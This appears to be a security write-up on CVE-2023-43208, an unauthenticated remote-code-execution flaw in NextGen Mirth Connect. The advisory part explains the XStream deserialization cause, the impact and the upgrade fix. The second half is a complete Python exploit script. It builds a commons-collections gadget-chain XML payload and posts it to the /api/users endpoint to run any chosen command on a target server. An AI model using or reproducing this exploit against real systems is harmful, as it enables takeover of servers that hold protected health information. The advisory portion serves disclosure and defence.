NextGen Healthcare Mirth Connect

CVE-2023-43208

Vulnerability Overview

CVE-2023-43208 is a critical security vulnerability present in the NextGen Healthcare Mirth Connect data integration platform. It allows an unauthenticated attacker to achieve RCE (Remote Code Execution) and has a CVSS (Common Vulnerability Scoring System) score of a very high 9.8 out of 10.

Technical Details

The root cause of the vulnerability lies in improper deserialization handling of untrusted data:

• Background Context: This vulnerability is actually a patch bypass for another critical vulnerability (CVE-2023-37679) discovered slightly earlier. The initial fix merely used a blacklist to block specific dangerous object classes, which proved to be an incomplete defense.
• Attack Vector: When Mirth Connect receives XML data via its API (Application Programming Interface), it uses the XStream Java library for deserialization (i.e., converting external XML data back into internal Java objects).
• Execution Process: Because the system does not perform strict validation before parsing the data, an attacker can craft and send a specially designed malicious XML payload. When the system automatically processes this payload, it will silently execute arbitrary underlying operating system commands with the current privileges of the Mirth Connect service (which is typically the highest SYSTEM level privilege on the Windows platform).

Impact and Potential Risks

• Affected Versions: All Mirth Connect instances prior to version 4.4.1 are at risk.
• Actual Exposure Risk: The vulnerability is extremely easy to exploit as it requires no authentication credentials (such as a username or password) to trigger. It has been officially added to the CISA (Cybersecurity and Infrastructure Security Agency) KEV (Known Exploited Vulnerabilities) catalog, indicating that active attacks targeting this vulnerability have already been detected in real-world network environments.
• Data and Network Threats: Mirth Connect is widely used to handle sensitive data. Once the server is compromised, the attacker can not only take full control of the server but also potentially use it as a perfect pivot point for lateral movement within the internal network, stealing large amounts of PHI (Protected Health Information) or other critical business assets.

Remediation and Mitigation

Ensuring that the management interface and core services are always on a secure version is of the utmost priority. The only effective official solution to fully address this issue is to upgrade Mirth Connect to version 4.4.1 or higher. In version 4.4.1, the official developers removed the vulnerable XStream blacklist mechanism and switched to a more secure explicit whitelist strategy to restrict the classes that can be deserialized.

Exploitation

# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
#   (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
#   (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_payload(command, platform):
    if platform.lower() == "win":
        cmd = f"cmd.exe /c \"{command}\""
    else:
        cmd = f"{command}"

    xml_payload = f"""
<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="org.apache.commons.collections4.functors.ChainedTransformer">
          <iTransformers>
            <org.apache.commons.collections4.functors.ConstantTransformer>
              <iConstant class="java-class">java.lang.Runtime</iConstant>
            </org.apache.commons.collections4.functors.ConstantTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>getMethod</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
                <java-class>[Ljava.lang.Class;</java-class>
              </iParamTypes>
              <iArgs>
                <string>getRuntime</string>
                <java-class-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>invoke</iMethodName>
              <iParamTypes>
                <java-class>java.lang.Object</java-class>
                <java-class>[Ljava.lang.Object;</java-class>
              </iParamTypes>
              <iArgs>
                <null/>
                <object-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>exec</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
              </iParamTypes>
              <iArgs>
                <string>{cmd}</string>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
          </iTransformers>
        </target>
        <methodName>transform</methodName>
        <eventTypes>
          <string>compareTo</string>
        </eventTypes>
      </handler>
    </dynamic-proxy>
</sorted-set>
"""
    return xml_payload

def exploit(target_url, command, platform):
    payload = generate_payload(command, platform)
    headers = {
        'Content-Type': 'application/xml',
        'X-Requested-With': 'OpenAPI'
    }
    try:
        response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
        if response.status_code == 500:
            print("The target appears to have executed the payload.")
        else:
            print("Failed to execute the payload.")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
    parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
    parser.add_argument('-u', '--url', required=True, help='Target URL.')
    parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
    
    args = parser.parse_args()

    exploit(args.url, args.command, args.platform)

if __name__ == "__main__":
    main()